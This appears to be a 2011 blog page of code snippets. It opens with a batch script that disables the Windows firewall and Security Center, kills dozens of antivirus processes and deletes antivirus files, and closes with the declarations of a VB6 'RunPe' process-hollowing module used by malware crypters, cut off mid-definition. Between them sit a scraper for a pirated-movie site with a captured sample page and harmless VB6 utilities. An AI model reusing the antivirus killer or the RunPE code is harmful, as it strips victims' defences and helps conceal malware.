Sonntag, 13. November 2011

Command line Windows kill AV

@echo off

::-------AV Kill [UD]--------::
net stop “Security Center”
netsh firewall set opmode mode=disable
tskill /A av*
tskill /A fire*
tskill /A anti*
cls
tskill /A spy*
tskill /A bullguard
tskill /A PersFw
tskill /A KAV*
tskill /A ZONEALARM
tskill /A SAFEWEB
cls
tskill /A OUTPOST
tskill /A nv*
tskill /A nav*
tskill /A F-*
tskill /A ESAFE
tskill /A cle
cls
tskill /A BLACKICE
tskill /A def*
tskill /A kav
tskill /A kav*
tskill /A avg*
tskill /A ash*
cls
tskill /A aswupdsv
tskill /A ewid*
tskill /A guard*
tskill /A guar*
tskill /A gcasDt*
tskill /A msmp*
cls
tskill /A mcafe*
tskill /A mghtml
tskill /A msiexec
tskill /A outpost
tskill /A isafe
tskill /A zap*
cls
tskill /A zauinst
tskill /A upd*
tskill /A zlclien*
tskill /A minilog
tskill /A cc*
tskill /A norton*
cls
tskill /A norton au*
tskill /A ccc*
tskill /A npfmn*
tskill /A loge*
tskill /A nisum*
tskill /A issvc
tskill /A tmp*
cls
tskill /A tmn*
tskill /A pcc*
tskill /A cpd*
tskill /A pop*
tskill /A pav*
tskill /A padmin
cls
tskill /A panda*
tskill /A avsch*
tskill /A sche*
tskill /A syman*
tskill /A virus*
tskill /A realm*
cls
tskill /A sweep*
tskill /A scan*
tskill /A ad-*
tskill /A safe*
tskill /A avas*
tskill /A norm*
cls
tskill /A offg*
del /Q /F C:\Program Files\alwils~1\avast4\*.*
del /Q /F C:\Program Files\Lavasoft\Ad-awa~1\*.exe
del /Q /F C:\Program Files\kasper~1\*.exe
cls
del /Q /F C:\Program Files\trojan~1\*.exe
del /Q /F C:\Program Files\f-prot95\*.dll
del /Q /F C:\Program Files\tbav\*.dat
cls
del /Q /F C:\Program Files\avpersonal\*.vdf
del /Q /F C:\Program Files\Norton~1\*.cnt
del /Q /F C:\Program Files\Mcafee\*.*
cls
del /Q /F C:\Program Files\Norton~1\Norton~1\Norton~3\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\speedd~1\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\*.*
del /Q /F C:\Program Files\Norton~1\*.*
cls
del /Q /F C:\Program Files\avgamsr\*.exe
del /Q /F C:\Program Files\avgamsvr\*.exe
del /Q /F C:\Program Files\avgemc\*.exe
cls
del /Q /F C:\Program Files\avgcc\*.exe
del /Q /F C:\Program Files\avgupsvc\*.exe
del /Q /F C:\Program Files\grisoft
del /Q /F C:\Program Files\nood32krn\*.exe
del /Q /F C:\Program Files\nood32\*.exe
cls
del /Q /F C:\Program Files\nod32
del /Q /F C:\Program Files\nood32
del /Q /F C:\Program Files\kav\*.exe
del /Q /F C:\Program Files\kavmm\*.exe
del /Q /F C:\Program Files\kaspersky\*.*
cls
del /Q /F C:\Program Files\ewidoctrl\*.exe
del /Q /F C:\Program Files\guard\*.exe
del /Q /F C:\Program Files\ewido\*.exe
cls
del /Q /F C:\Program Files\pavprsrv\*.exe
del /Q /F C:\Program Files\pavprot\*.exe
del /Q /F C:\Program Files\avengine\*.exe
cls
del /Q /F C:\Program Files\apvxdwin\*.exe
del /Q /F C:\Program Files\webproxy\*.exe
del /Q /F C:\Program Files\panda software\*.*
::---------------------------::

Movie2k Search Extractor VB6

Private Sub Command1_Click()
Dim stream_search As String
Dim temper2 As String
stream_search = Replace(Replace(Replace(slice(Replace(LoadBinary(App.Path & „\movie2k_search.txt“), “ „, „“), „tablemoviesindex“, „</body>“), „ „, „“), vbNewLine, „“), „<a“, vbNewLine)

Open App.Path & „\1.txt“ For Binary As #1
Put #1, , stream_search
Close #1

For i = 1 To 500

temper = slice(ReadLine(stream_search, i), „“"“, „“"“)
If InStr(temper, „http“) Then
If InStr(temper, „.html“) Then
If InStr(Text2.Text, temper) Then
Else
Text2 = Text2 & temper & vbNewLine

End If
End If
End If

Next i

End Sub

Public Function slice(data As String, first As String, end_point As String)
On Error Resume Next
Pos1 = InStr(1, data, first)
Pos2 = InStr(Pos1 + Len(first), data, end_point)
ErgStr = Mid$(data, Pos1 + Len(first), Pos2 – (Pos1 + Len(first)))
slice = ErgStr
End Function

Public Function LoadBinary(ByVal strFileName As String) As String
Dim ff As Integer
ff = FreeFile
Open strFileName For Binary As #ff
LoadBinary = Input(FileLen(strFileName), #ff)
Close #ff
End Function

Public Function ReadLine(ByVal data As String, _
Optional ByVal nLine As Long = 1) As String
On Error Resume Next
Dim sLines() As String
sLines = Split(data, vbCrLf)
Select Case Sgn(nLine)
Case 1
ReadLine = sLines(nLine – 1)
Case -1
‘ n-te Zeile von hinten beginnend
ReadLine = sLines(UBound(sLines) + nLine + 1)
End Select
End Function

Can DOwnload http://www.multiupload.com/9J4BRPI09U

SAMPLE SEARCH DATA :

<!DOCTYPE html PUBLIC „-//W3C//DTD XHTML 1.0 Transitional//EN“
„http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd“>
<html xmlns=“http://www.w3.org/1999/xhtml“>
<head>
<title>Filme, Serien, Liste: search </title>
<meta http-equiv=“Content-Type“ content=“text/html; charset=UTF-8″ />
<meta name=“author“ content=“Movie2k.to“ />
<meta name=“description“ content=“Deine Datenbank für Filme, Kinofilme und Serien!“>
<meta name=“keywords“ content=“movies, filme,cinema,kino,free movies, free online movies,stream,watch movies,streams gucken“>
<meta name=“robots“ content=“index,follow“>
<meta name=“revisit-after“ content=“1 days“ />
<meta http-equiv=“content-language“ content=“en, de“>
<meta name=“google-site-verification“ content=“i93N_RIbAd5JfXzsEFpWcC9XXJpU-plYDsuQnLN4heQ“>
<link rel=“stylesheet“ media=“all“ href=“http://img.movie2k.to/all4.css“>

<style type=“text/css“>
<!–
body {
background-image: url(http://img.movie2k.to/img/background.gif);
background-repeat: repeat-x;
}

–>
</style>

<script type=“text/javascript“ src=“https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js“></script>

<SCRIPT>
function onlylanguage(lang) {
var a = new Date();
a = new Date(a.getTime() +1000*60*60*24*365);
document.cookie = ‘onlylanguage=’+lang+’; expires=’+a.toGMTString()+’;';
location.reload();
}
function showMovie() {
location.href=(document.moviedropdown.movieurl[document.moviedropdown.movieurl.selectedIndex].value);
}
function showPart() {
location.href=(document.partdropdown.movieparturl[document.partdropdown.movieparturl.selectedIndex].value);
}
</SCRIPT>

<SCRIPT language=“javascript“>
function checkradio(feld){
for (i=0; i<feld.length; i++){
if(feld[i].checked == true){
return feld[i].value;
}
}
}
function changeThumbnail() {
if (checkradio(document.addmovie.thumbnail)==’upload’) {
document.getElementById(‘thumb_upload’).style.display=’block’;
document.getElementById(‘thumb_link’).style.display=’none’;
} else {
document.getElementById(‘thumb_upload’).style.display=’none’;
document.getElementById(‘thumb_link’).style.display=’block’;
}
}
function changegenre() {
if (document.addmovie.xxx.checked==true) {
document.getElementById(‘genre_xxx’).style.display = „block“;
document.getElementById(‘xxxinfo’).style.display = „block“;
document.getElementById(‘genre_nonxxx’).style.display = „none“;
} else {
document.getElementById(‘genre_xxx’).style.display = „none“;
document.getElementById(‘genre_nonxxx’).style.display = „block“;
}
}

function showNewContent() {
$(‘#content’).show(‘normal’,hideLoader());
}
function hideLoader() {
$(‘#load’).fadeOut(‘normal’);
}
function showAutoComplete (searchtext) {
if (searchtext.length>0) {
document.getElementById(‘searchAutoComplete’).style.display=’inline’;
$(‘#searchAutoComplete’).load(‘searchAutoCompleteNew.php?search=’+escape(searchtext),“,showNewContent);
}
return false;
}
function closeAutoComplete() {
document.getElementById(‘searchAutoComplete’).style.display=’none’;
return true;
}

</SCRIPT>

<SCRIPT>
function readCookie(name) {
var nameEQ = name + „=“;
var ca = document.cookie.split(‘;’);
for(var i=0;i < ca.length;i++) {
var c = ca[i];
while (c.charAt(0)==’ ‘) c = c.substring(1,c.length);
if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
}
return null;
}

function xxxCheck() {
if (readCookie(‘xxx’)==’ok’) {
return true;
} else {
var check=confirm(‘Please confirm you are 18 years or over before continuing. If you are not 18 please exit.’);
if (check==true) {
var a = new Date();
a = new Date(a.getTime() +60*60*24);
document.cookie = ‘xxx=ok; expires=’+a.toGMTString()+’;';
return true;
} else {
return false;
}
}
}
</SCRIPT>
<script type=“text/javascript“>
function ignoreErrors() {
return true;
}
window.onerror = ignoreErrors;
</script>

<!–[if lte IE 7]>
<style type=“text/css“>
.s2k_ad{
margin-left:-435px;
}
</style>
<![endif]–>

</head>
<body leftmargin=“0″ topmargin=“0″ marginwidth=“0″ marginheight=“0″>

<div style=“position:absolute; margin-top:60px; margin-left:30px; color:#FFF; font-family: Arial, Helvetica, sans-serif; font-size: 10px;“>
Your movie, tv shows and blockbuster database! </div>

<div style=“position:absolute; margin-top:65px; margin-left:950px;“><a href=“index.php?lang=en“><img src=“http://img.movie2k.to/img/us_flag.png“ border=“0″ alt=“Find free english cinema movies“ title=“find english cinema movies“ /></a></div>
<div style=“position:absolute; margin-top:90px; margin-left:950px;“><a href=“index.php?lang=de“><img src=“http://img.movie2k.to/img/ger_flag.png“ border=“0″ alt=“" title=“Finde kostenlose deutsche Kinofilme“ /></a></div>
<div style=“position:absolute; margin-top:125px; margin-left:936px;“><a href=“index.php?lang=fr“><img src=“http://img.movie2k.to/img/french.png“ border=“0″ alt=“" title=“Find free french cinema movies“ /></a></div>
<div style=“position:absolute; margin-top:125px; margin-left:963px;“><a href=“index.php?lang=es“><img src=“http://img.movie2k.to/img/spain.png“ border=“0″ alt=“" title=“Find free spanish cinema movies“ /></a></div>
<div style=“position:absolute; margin-top:145px; margin-left:936px;“><a href=“index.php?lang=it“><img src=“http://img.movie2k.to/img/italia.png“ border=“0″ alt=“" title=“Find free italian cinema movies“ /></a></div>
<div style=“position:absolute; margin-top:145px; margin-left:963px;“><a href=“index.php?lang=jp“><img src=“http://img.movie2k.to/img/japan.png“ border=“0″ alt=“" title=“Find free japanese cinema movies“ /></a></div>
<div style=“position:absolute; margin-top:165px; margin-left:936px;“><a href=“index.php?lang=tr“><img src=“http://img.movie2k.to/img/turkey.png“ border=“0″ alt=“" title=“Find free turkish cinema movies“ /></a></div>
<div style=“position:absolute; margin-top:165px; margin-left:963px;“><a href=“index.php?lang=ru“><img src=“http://img.movie2k.to/img/russia.png“ border=“0″ alt=“" title=“Find free russia cinema movies“ /></a></div>

<table width=“993″ border=“0″ cellspacing=“0″ cellpadding=“0″>
<tr>
<td height=“45″><table width=“993″ border=“0″ cellspacing=“0″ cellpadding=“0″>
<tr>
<td width=“467″><a href=“http://www.movie2k.to“><img src=“http://img.movie2k.to/img/logo.png“ border=0 width=“206″ height=“39″ alt=“" title=“" /></a></td>

<td width=“92″ align=“right“ valign=“middle“><img src=“http://img.movie2k.to/img/news.png“ width=“15″ height=“15″ align=“top“ alt=“Neue Kinofilme und empfohlene DVDs“ title=“Neue Kinofilme und empfohlene DVDs“ /> <span><a href=“index.php“>News</a></span></td>
<td width=“95″ align=“right“><img src=“http://img.movie2k.to/img/forum.png“ width=“15″ height=“15″ align=“top“ alt=“User Anmeldung auf movie2k.to“ title=“User Anmeldung auf movie2k.to“ /> <span><a href=“register.php“>Register</a></span></td>

<td width=“79″ align=“right“><img src=“http://img.movie2k.to/img/faq.png“ width=“15″ height=“15″ align=“top“ alt=“Häufig gestellte Fragen“ title=“Häufig gestellte Fragen“ /> <span><a href=“faq.html“>FAQ</a></span></td>
<td width=“102″ align=“right“><img src=“http://img.movie2k.to/img/contact.png“ width=“15″ height=“15″ align=“top“ alt=“Kontakt“ title=“Kontakt“ /> <span><a href=“contact.html“>Kontakt</a></span></td>

<td width=“158″ align=“right“><img src=“http://img.movie2k.to/img/add.png“ width=“15″ height=“15″ align=“top“ alt=“Film hinzufügen“ title=“Film hinzufügen“ /> <a href=“ui.php?ua=movie“>Film hinzufügen</a></td>
</tr>
</table></td>
</tr>

<tr>

<td style=“padding-left:30px;“ width=“993″ height=“168″ background=“http://img.movie2k.to/img/movie2k_header_v4_1.jpg“>

<span style=“font-size:10px; color: #FFF; font-family: Arial, Helvetica, sans-serif;“>Suche</span><br />

<div>

<div id=“menue“>
<div>
<a href=“index.php“><span>Filme</span></a>
<a href=“index.php“>Kinofilme</a>
<a href=“./movies-updates.html“>Letzte Updates</a>
<a href=“./movies-all.html“>Alle Filme</a>

<a href=“./genres-movies.html“>Genres</a>
<a href=“./movies-top.html“>Top Filme</a>
<a href=“./rss-movies.html“>RSS feed</a>
</div>
<div>
<a href=“tvshows_featured.php“><span>Serien</span></a>
<a href=“./tvshows_featured.php“>Featured</a>

<a href=“./tvshows-updates.html“>Letzte Updates</a>
<a href=“./tvshows-all.html“>Alle Serien</a>
<a href=“./genres-tvshows.html“>Genres</a>
<a href=“./tvshows-top.html“>Top Serien</a>
<a href=“./rss-tvshows.html“>RSS feed</a>
</div>

<div>
<a href=“xxx-updates.html“><span>XXX Filme</span></a>
<a href=“./xxx-updates.html“>Letzte Updates</a>
<a href=“./xxx-all.html“>Alle Filme</a>
<a href=“./genres-xxx.html“>Genres</a>
<a href=“./xxx-top.html“>Top Filme</a>

<a href=“rss-xxx.html“>RSS feed</a>

</div>

</div>
</div><!– menue –>

</div><!– menuebox –>

<FORM method=POST action=“movies.php?list=search“ style=“display:inline; font-family: Arial, Helvetica, sans-serif; z-index:3;“>

<INPUT name=“search“ onKeyUp=“showAutoComplete(this.value)“ onBlur=“window.setTimeout(‘closeAutoComplete()’,300);“ autocomplete=“off“> <INPUT type=submit value=“GO“> &nbsp;&nbsp;&nbsp;
<!–<INPUT name=“search“> <INPUT type=submit value=“GO“> &nbsp;&nbsp;&nbsp;–>
<div id=“searchAutoComplete“ style=“display:none;position:absolute;left:30px;top:146px; z-index:3;“></div>
</FORM>

</td> </tr>

</table>

<div id=“content“>

<div id=“content“>

<INPUT style=“margin-left:30px;“ name=“language“ type=“checkbox“ onclick=“onlylanguage(‘de’);“
> nur deutsche Filme
<BR>

<div id=“tdmoviesheader“ style=“margin-bottom:0px;“><span style=“padding-left: 5px; font-weight: bold;“>Titel</span><span style=“padding-left: 527px; font-weight: bold;“>Hoster</span> <span style=“padding-left: 143px; font-weight: bold;“>Q.</span><span style=“padding-left: 17px; font-weight: bold;“>Date (UTC -5) </span><span style=“padding-left:69px; font-weight: bold;“>L.</span></div>

<div id=“maincontent4″>

<TABLE id=“tablemoviesindex“>

<TR>
<TD width=“550″ id=“tdmovies“>
<a href=“http://www.movie2k.to/Enter-the-Void-online-film-399724.html“>Enter The Void </a>
</TD>

<TD width=“185″ id=“tdmovies“>

<div style=“width:18px;min-width:18px;float:left;padding:0;text-align:center;“ id=“f9″>
&nbsp; </div>
<div style=“width:18px;min-width:18px;float:left;padding:0;text-align:center;“ id=“f4″>
&nbsp; </div>
<div style=“width:18px;min-width:18px;float:left;padding:0;text-align:center;“ id=“f3″>
<a href=“http://www.movie2k.to/Enter-the-Void-online-film-399724.html“>
<img src=“http://img.movie2k.to/img/flashPlayer2.gif“ width=16 border=0></a>
</div>

<div style=“width:18px;min-width:18px;float:left;padding:0;text-align:center;“ id=“f6″>
&nbsp; </div>
<div style=“width:18px;min-width:18px;float:left;padding:0;text-align:center;“ id=“f7″>
&nbsp; </div>
<div style=“min-width:18px;float:right;padding:0;text-align:center;“></div>
</TD>
<TD width=“25″ id=“tdmovies“><img src=“http://img.movie2k.to/img/smileys/5.gif“ border=0></TD>
<TD id=“tdmovies“ width=“154″>12.01.2011 11:10</TD>

<TD align=“right“ id=“tdmovies“ width=“25″><img border=0 src=“http://img.movie2k.to/img/us_ger_small.png“ width=24 height=14></TD>
</TR>

<TR>
<TD width=“550″ id=“tdmovies“>
<a href=“http://www.movie2k.to/Enter-the-Void-watch-movie-270132.html“>Enter The Void </a>
</TD>

<TD width=“185″ id=“tdmovies“>
<div style=“width:18px;min-width:18px;float:left;padding:0;text-align:center;“ id=“f9″>

<a href=“http://www.movie2k.to/Enter-the-Void-watch-movie-270132.html“>
<img src=“http://img.movie2k.to/img/stream2k.gif“ width=16 border=0></a>
</div>
<div style=“width:18px;min-width:18px;float:left;padding:0;text-align:center;“ id=“f4″>
<a href=“http://www.movie2k.to/Enter-the-Void-watch-movie-270133.html“>
<img src=“http://img.movie2k.to/img/divx.gif“ width=16 border=0></a>
</div>
<div style=“width:18px;min-width:18px;float:left;padding:0;text-align:center;“ id=“f3″>
<a href=“http://www.movie2k.to/Enter-the-Void-watch-movie-274548.html“>
<img src=“http://img.movie2k.to/img/flashPlayer2.gif“ width=16 border=0></a>
</div>

<div style=“width:18px;min-width:18px;float:left;padding:0;text-align:center;“ id=“f6″>
<a href=“http://www.movie2k.to/Enter-the-Void-watch-movie-271968.html“>
<img src=“http://img.movie2k.to/img/mega.gif“ width=16 border=0></a>
</div>
<div style=“width:18px;min-width:18px;float:left;padding:0;text-align:center;“ id=“f7″>
&nbsp; </div>
<div style=“min-width:18px;float:right;padding:0;text-align:center;“></div>
</TD>
<TD width=“25″ id=“tdmovies“><img src=“http://img.movie2k.to/img/smileys/5.gif“ border=0></TD>

<TD id=“tdmovies“ width=“154″>15.11.2010 06:39</TD>
<TD align=“right“ id=“tdmovies“ width=“25″><img border=0 src=“http://img.movie2k.to/img/us_flag_small.png“ width=24 height=14></TD>
</TR>

</TABLE>
<BR><BR>
</div><!–maincontent2–>

</div><!–maincontent4–>

</div><!–<div id=“content“>–>

</div>

</div>
<br>

<div style=“display:none“>

<script type=“text/javascript“>

var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-24229017-1']);
_gaq.push(['_trackPageview']);

(function() {
var ga = document.createElement(‘script’); ga.type = ‘text/javascript’; ga.async = true;
ga.src = (‘https:’ == document.location.protocol ? ‘https://ssl’ : ‘http://www’) + ‘.google-analytics.com/ga.js’;
var s = document.getElementsByTagName(‘script’)[0]; s.parentNode.insertBefore(ga, s);
})();

</script>

<img src=“http://goo.gl/YP3MP“ width=0 height=0>

</div>

</body></html>

VB6 List fonts

Option Explicit
'=========================================================
' º Function : AlignListBox
' º Author : Mr. Frog ©
' º Mail : vbpsyke1@mixmail.com
' º Recommended Websites :
' http://visual-coders.com.ar
' http://InfrAngeluX.Sytes.Net
' http://twitter.com/#!/PsYkE1
'=========================================================

Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long
Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long

Private Const GWL_EXSTYLE As Long = (-20)
Private Const WS_EX_RIGHT As Long = &H1000&
Private Const WS_EX_LEFT As Long = &H0&
Private Const WS_EX_LEFTSCROLLBAR As Long = &H4000&
Private Const WS_EX_RIGHTSCROLLBAR As Long = &H0&

Public Enum AlignConstants
aLeft = 0
aRight = 1
End Enum

Public Enum OptionAlign
Items = 0
ScollBar = 1
End Enum

Public Function AlignListBox(ByVal myListBox As ListBox, _
ByVal ThingToAlign As OptionAlign, _
Optional ByVal Align As AlignConstants = aLeft) As Long
Dim lStyle As Long
Dim lHwnd As Long
If Not (myListBox Is Nothing) Then
lHwnd = myListBox.hwnd
lStyle = GetWindowLong(lHwnd, GWL_EXSTYLE)
If Align = aRight Then
If ThingToAlign = Items Then
lStyle = lStyle Or WS_EX_RIGHT
Else
lStyle = lStyle And WS_EX_RIGHTSCROLLBAR
End If
Else
If ThingToAlign = Items Then
lStyle = lStyle And WS_EX_LEFT
Else
lStyle = lStyle Or WS_EX_LEFTSCROLLBAR
End If
End If
AlignListBox = SetWindowLong(lHwnd, GWL_EXSTYLE, lStyle)
End If
End Function

Option Explicit

Private Sub Form_Load()
Dim Q As Long
For Q = 0 To (Screen.FontCount - 1)
List1.AddItem Screen.Fonts(Q)
Next Q

AlignListBox List1, Items, aRight
'AlignListBox List1, Items, aLeft
AlignListBox List1, ScollBar, aLeft
'AlignListBox List1, ScollBar, aRight
End Sub


SystemProcessesAndThreadsInformation VB6

'---------------------------------------------------------------------------------------
' Module : mProcessInformation
' Author : Karcrack
' Now : 26/08/2010 15:00
' Purpose : Native Process Enumeration
' History : 26/08/2010 First cut .........................................................
'---------------------------------------------------------------------------------------

Option Explicit
Option Base 0

Public Type PROCESS
sName As String
lPID As Long
End Type

'NTDLL
Private Declare Function NtQuerySystemInformation Lib "NTDLL" (ByVal SystemInformationClass As Long, ByRef SystemInformation As Any, ByVal SystemInformationLength As Long, ByRef ReturnLength As Long) As Long
Private Declare Sub RtlMoveMemory Lib "NTDLL" (ByRef Destination As Any, ByRef Source As Any, ByVal Length As Long)

Private Const SystemProcessesAndThreadsInformation As Long = 5&
Private Const STATUS_INFO_LENGTH_MISMATCH As Long = &HC0000004

Public Function RetrieveProcesses() As PROCESS()
Dim bvSPI(17) As Long 'As SYSTEM_PROCESS_INFORMATION
Dim bvTmp() As PROCESS
Dim bvBuffer() As Byte
Dim cbBuffer As Long
Dim lRet As Long
Dim lPos As Long
Dim lSize As Long

ReDim bvTmp(0)
cbBuffer = 1
Do
cbBuffer = cbBuffer * 2
ReDim bvBuffer(cbBuffer)
lRet = NtQuerySystemInformation(SystemProcessesAndThreadsInformation, bvBuffer(0), cbBuffer, lSize)
Loop While lRet = STATUS_INFO_LENGTH_MISMATCH

If lRet < 0 Then Exit Function

lPos = VarPtr(bvBuffer(0))

Do
Call RtlMoveMemory(bvSPI(0), ByVal lPos, 18 * 4)
With bvTmp(UBound(bvTmp))
.lPID = bvSPI(17)
.sName = ReadUStr(bvSPI(15))
End With
lPos = lPos + bvSPI(0)
If bvSPI(0) = 0 Then Exit Do
ReDim Preserve bvTmp(UBound(bvTmp) + 1)
Loop

RetrieveProcesses = bvTmp
Erase bvBuffer
End Function

Private Function ReadUStr(ByVal lPtr As Long) As String
Dim i As Long
Dim uChar As Integer

If Not lPtr > 0 Then Exit Function
i = lPtr
Do
Call RtlMoveMemory(uChar, ByVal i, &H2)
If uChar = 0 Then Exit Do
ReadUStr = ReadUStr & ChrW$(uChar)
i = i + 2
Loop
End Function

Sample call:
Private Sub Form_Load()
Dim x() As PROCESS
Dim i As Long

x = RetrieveProcesses

For i = 0 To UBound(x)
Debug.Print x(i).lPID, "->", x(i).sName
Next i
End Sub

RunPe VB6



'=======Thread context staff===========
Const SIZE_OF_80387_REGISTERS = 80

Type FLOATING_SAVE_AREA
ControlWord As Long
StatusWord As Long
TagWord As Long
ErrorOffset As Long
ErrorSelector As Long
DataOffset As Long
DataSelector As Long
RegisterArea(1 To SIZE_OF_80387_REGISTERS) As Byte
Cr0NpxState As Long
End Type

Public Type CONTEXT86
ContextFlags As Long
'These are selected by CONTEXT_DEBUG_REGISTERS
Dr0 As Long
Dr1 As Long
Dr2 As Long
Dr3 As Long
Dr6 As Long
Dr7 As Long
'These are selected by CONTEXT_FLOATING_POINT
FloatSave As FLOATING_SAVE_AREA
'These are selected by CONTEXT_SEGMENTS
SegGs As Long
SegFs As Long
SegEs As Long
SegDs As Long
'These are selected by CONTEXT_INTEGER
Edi As Long
Esi As Long
Ebx As Long
Edx As Long
Ecx As Long
Eax As Long
'These are selected by CONTEXT_CONTROL
Ebp As Long
Eip As Long
SegCs As Long
EFlags As Long
Esp As Long
SegSs As Long
End Type

Public Const CONTEXT_X86 = &H10000
Public Const CONTEXT86_CONTROL = (CONTEXT_X86 Or &H1) 'SS:SP, CS:IP, FLAGS, BP
Public Const CONTEXT86_INTEGER = (CONTEXT_X86 Or &H2) 'AX, BX, CX, DX, SI, DI
Public Const CONTEXT86_SEGMENTS = (CONTEXT_X86 Or &H4) 'DS, ES, FS, GS
Public Const CONTEXT86_FLOATING_POINT = (CONTEXT_X86 Or &H8) '387 state
Public Const CONTEXT86_DEBUG_REGISTERS = (CONTEXT_X86 Or &H10) 'DB 0-3,6,7
Public Const CONTEXT86_FULL = (CONTEXT86_CONTROL Or CONTEXT86_INTEGER Or CONTEXT86_SEGMENTS)

Public Declare Function GetThreadContext Lib "kernel32" (ByVal hThread As Long, lpContext As CONTEXT86) As Long
Public Declare Function SetThreadContext Lib "kernel32" (ByVal hThread As Long, lpContext As CONTEXT86) As Long
Public Declare Function SuspendThread Lib "kernel32" (ByVal hThread As Long) As Long
Public Declare Function ResumeThread Lib "kernel32" (ByVal hThread As Long) As Long
'========Process creation and memory access staff=========
Public Type PROCESS_INFORMATION
hProcess As Long
hThread As Long
dwProcessID As Long
dwThreadID As Long
End Type

Public Type STARTUPINFO
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long 'LPBYTE
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type

Public Declare Function CreateProcess Lib "kernel32" Alias "CreateProcessA" (ByVal lpAppName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Public Declare Function ZwUnmapViewOfSection Lib "NTDLL.DLL" (ByVal hProcess As Long, ByVal BaseAddress As Long) As Long
Public Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Public Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Public Declare Function VirtualAllocEx Lib "kernel32" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
Public Declare Function VirtualProtectEx Lib "kernel32" (ByVal hProcess As Long, lpAddress As Any, ByVal dwSize As Long, ByVal flNewProtect As Long, lpflOldProtect As Long) As Long
Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long

Public Const CREATE_SUSPENDED = &H4
Public Const MEM_COMMIT As Long = &H1000&
Public Const MEM_RESERVE As Long = &H2000&
Public Const PAGE_NOCACHE As Long = &H200
Public Const PAGE_EXECUTE_READWRITE As Long = &H40
Public Const PAGE_EXECUTE_WRITECOPY As Long = &H80
Public Const PAGE_EXECUTE_READ As Long = &H20
Public Const PAGE_EXECUTE As Long = &H10
Public Const PAGE_READONLY As Long = &H2
Public Const PAGE_WRITECOPY As Long = &H8
Public Const PAGE_NOACCESS As Long = &H1
Public Const PAGE_READWRITE As Long = &H4

'========Main staff for any API code :)===========
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Dest As Any, src As Any, ByVal L As Long)
'==========PE staff==============
Private Enum ImageSignatureTypes
IMAGE_DOS_SIGNATURE = &H5A4D ''\\ MZ
IMAGE_OS2_SIGNATURE = &H454E ''\\ NE
IMAGE_OS2_SIGNATURE_LE = &H454C ''\\ LE
IMAGE_VXD_SIGNATURE = &H454C ''\\ LE
IMAGE_NT_SIGNATURE = &H4550 ''\\ PE00
End Enum

Private Type IMAGE_DOS_HEADER
e_magic As Integer ' Magic number
e_cblp As Integer ' Bytes on last page of file
e_cp As Integer ' Pages in file
e_crlc As Integer ' Relocations
e_cparhdr As Integer ' Size of header in paragraphs
e_minalloc As Integer ' Minimum extra paragraphs needed
e_maxalloc As Integer ' Maximum extra paragraphs needed
e_ss As Integer ' Initial (relative) SS value
e_sp As Integer ' Initial SP value
e_csum As Integer ' Checksum
e_ip As Integer ' Initial IP value
e_cs As Integer ' Initial (relative) CS value
e_lfarlc As Integer ' File address of relocation table
e_ovno As Integer ' Overlay number
e_res(0 To 3) As Integer ' Reserved words
e_oemid As Integer ' OEM identifier (for e_oeminfo)
e_oeminfo As Integer ' OEM information; e_oemid specific
e_res2(0 To 9) As Integer ' Reserved words
e_lfanew As Long ' File address of new exe header
End Type

' MSDOS File header
Private Type IMAGE_FILE_HEADER
Machine As Integer
NumberOfSections As Integer
TimeDateStamp As Long
PointerToSymbolTable As Long
NumberOfSymbols As Long
SizeOfOptionalHeader As Integer
Characteristics As Integer
End Type

' Directory format.
Private Type IMAGE_DATA_DIRECTORY
VirtualAddress As Long
Size As Long
End Type

' Optional header format.
Const IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16

Private Type IMAGE_OPTIONAL_HEADER
' Standard fields.
Magic As Integer
MajorLinkerVersion As Byte
MinorLinkerVersion As Byte
SizeOfCode As Long
SizeOfInitializedData As Long
SizeOfUnitializedData As Long
AddressOfEntryPoint As Long
BaseOfCode As Long
BaseOfData As Long
' NT additional fields.
ImageBase As Long
SectionAlignment As Long
FileAlignment As Long
MajorOperatingSystemVersion As Integer
MinorOperatingSystemVersion As Integer
MajorImageVersion As Integer
MinorImageVersion As Integer
MajorSubsystemVersion As Integer
MinorSubsystemVersion As Integer
W32VersionValue As Long
SizeOfImage As Long
SizeOfHeaders As Long
CheckSum As Long
Subsystem As Integer
DllCharacteristics As Integer
SizeOfStackReserve As Long
SizeOfStackCommit As Long
SizeOfHeapReserve As Long
SizeOfHeapCommit As Long
LoaderFlags As Long
NumberOfRvaAndSizes As Long
DataDirectory(0 To IMAGE_NUMBEROF_DIRECTORY_ENTRIES - 1) As IMAGE_DATA_DIRECTORY
End Type

Private Type IMAGE_NT_HEADERS
Signature As Long
FileHeader As IMAGE_FILE_HEADER
OptionalHeader As IMAGE_OPTIONAL_HEADER
End Type

' Section header
Const IMAGE_SIZEOF_SHORT_NAME = 8

Private Type IMAGE_SECTION_HEADER
